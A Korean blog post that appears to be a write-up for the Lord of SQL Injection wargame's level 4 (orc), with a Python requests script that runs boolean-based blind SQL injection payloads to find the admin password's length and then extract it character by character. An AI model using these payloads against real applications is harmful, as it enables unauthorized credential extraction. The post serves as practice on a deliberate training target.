Lord of SQL Injection 4단계, orc 풀이 + Python code

2020. 3. 22. 20:39·Archive/Hacking
728x90
반응형

 

 

 

 

 

 

 

 

 

 

 

오늘 포스팅은 예전에 했었던 Lord of SQL Injection 4단계를 다시 한번 풀어보도록 하겠습니다.

 

 

제가 그 글을 쓸 당시에는 Python을 전혀 몰라서 Blind SQL을 하나하나 노가다 하면서 풀었었는데,

이번에는 Python을 이용해서 쉽게 풀어보도록하겠습니다.

 

 

 

 

 

los 4번 orc 문제입니다.

 

파이썬을 사용하지 않고 하나하나 푸는 방법은 이 카테고리 4번째 글에 있습니다.

 

 

이 포스팅은 파이썬 코드짜는 것을 연습했고, 그것을 기록하는 포스팅이기 때문에

파이썬코드만 바로 보실게요.

 

 

 

 

 

 

 

 

 

import requests
url ='https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php' #url 주소 입력
cookies = {'PHPSESSID': ''} # 세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value ="'or id='admin' and length(pw)= {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params={'pw' : value}
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            print("길이는? =",pw_len)
            break
        print("시도중 입니다!:",pw_len)
    return pw_len


def find_pw():
    pw_len=find_pw_len()
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ="'or id='admin' and ascii(substr(pw,{},1))= {}#".format(pw_value,ascii)
            params = {'pw': value}
            response = requests.get(url, params=params, cookies=cookies)
            if("Hello admin" in response.text):
                string =string + chr(ascii)
                print("pw의 값은!",string)
                break
find_pw()

 

 

 

 

 

 

 

 

 

 

소스를 조금 더 자세히 들여다보겠습니다.

 

제일 먼저 한것은 requests를 import 한 것 인데요.

 

 

 

 

 

Requests

 

 

 

requests 는 파이썬에서 HTTP requests(요청) 하는 모듈입니다.

 

 

 

 

response = requests.get(url,params=params,cookies=cookies)

 

 

requests 모듈을 사용하면 url과 params, cookies, header, timeout 등을 서버에 보낼 수 있습니다.

 

 

 

 

 

 params={'pw' : value}

 

 

자료형이름 = { '파라미터' : ' 값 ', ' 파라미터2 ' : '값 2' ....} 

 

과 같은 형태로 파라미터를 생성하여 보내줄 수 있습니다.

 

 

 

 

 

자주 사용하는 기능

 

 

 

response.status_code  :  응답코드를 돌려줍니다.

response.url  :  요청한 url을 확인 할 수 있습니다.

response.request  :  request 객체에 접근할 수 있습니다.

 

 

 

 

 

 

 

 

 

다음 포스팅은 다른 blind injection 문제를 대상으로 한

파이썬 코드글로 돌아오겠습니다!!

 

 

 

 

 

 

 

 

 

728x90
반응형

'Archive > Hacking' 카테고리의 다른 글

[ Bee-Box ] HTML Injection - Reflected(GET)  (0) 2020.03.27
[ Bee-Box ] 비박스란? + Bee-Box 설치하기  (1) 2020.03.23
[ Message Hooking ] Windows Message 처리 방법  (0) 2020.03.21
[ Message Hooking ] Message Hooking 간단한 개요  (2) 2020.03.20
[ WEB ] HTTP 상태 코드  (0) 2020.03.18
'Archive/Hacking' 카테고리의 다른 글
  • [ Bee-Box ] HTML Injection - Reflected(GET)
  • [ Bee-Box ] 비박스란? + Bee-Box 설치하기
  • [ Message Hooking ] Windows Message 처리 방법
  • [ Message Hooking ] Message Hooking 간단한 개요
코뮤(commu)
코뮤(commu)
코딩으로 커뮤니케이션하는 코뮤입니다 😎
  • 코뮤(commu)
    코뮤(COMMU)
    코뮤(commu)
  • 전체
    오늘
    어제
    • 분류 전체보기
      • Archive
        • Hacking
        • Develop
        • ETC
      • Algorithm
      • DB&Infra
      • ETC
      • Node
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • IT지식보따리
    • IT가 맛있다
    • IT 천재
  • 공지사항

    • 배고픕니다
  • 인기 글

  • 태그

    Django
    docker
    백준 풀이
    백준 파이썬
    비박스
    백준 문제풀이
    카카오 100일 프로젝트
    코드업
    코드업 파이썬 기초 100제
    Git
    파이썬 백준
    Codeup
    oracle db
    보안뉴스
    자바스크립트
    장고
    파이썬 알고리즘
    파이썬 문제
    코드업 기초
    파이썬 기초
    파이썬
    Python
    자바스크립트 객체
    오라클
    백준
    파이썬 기초 문제
    javascript
    C++
    Oracle
    자바스크립트 API
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.1
코뮤(commu)
Lord of SQL Injection 4단계, orc 풀이 + Python code
상단으로

티스토리툴바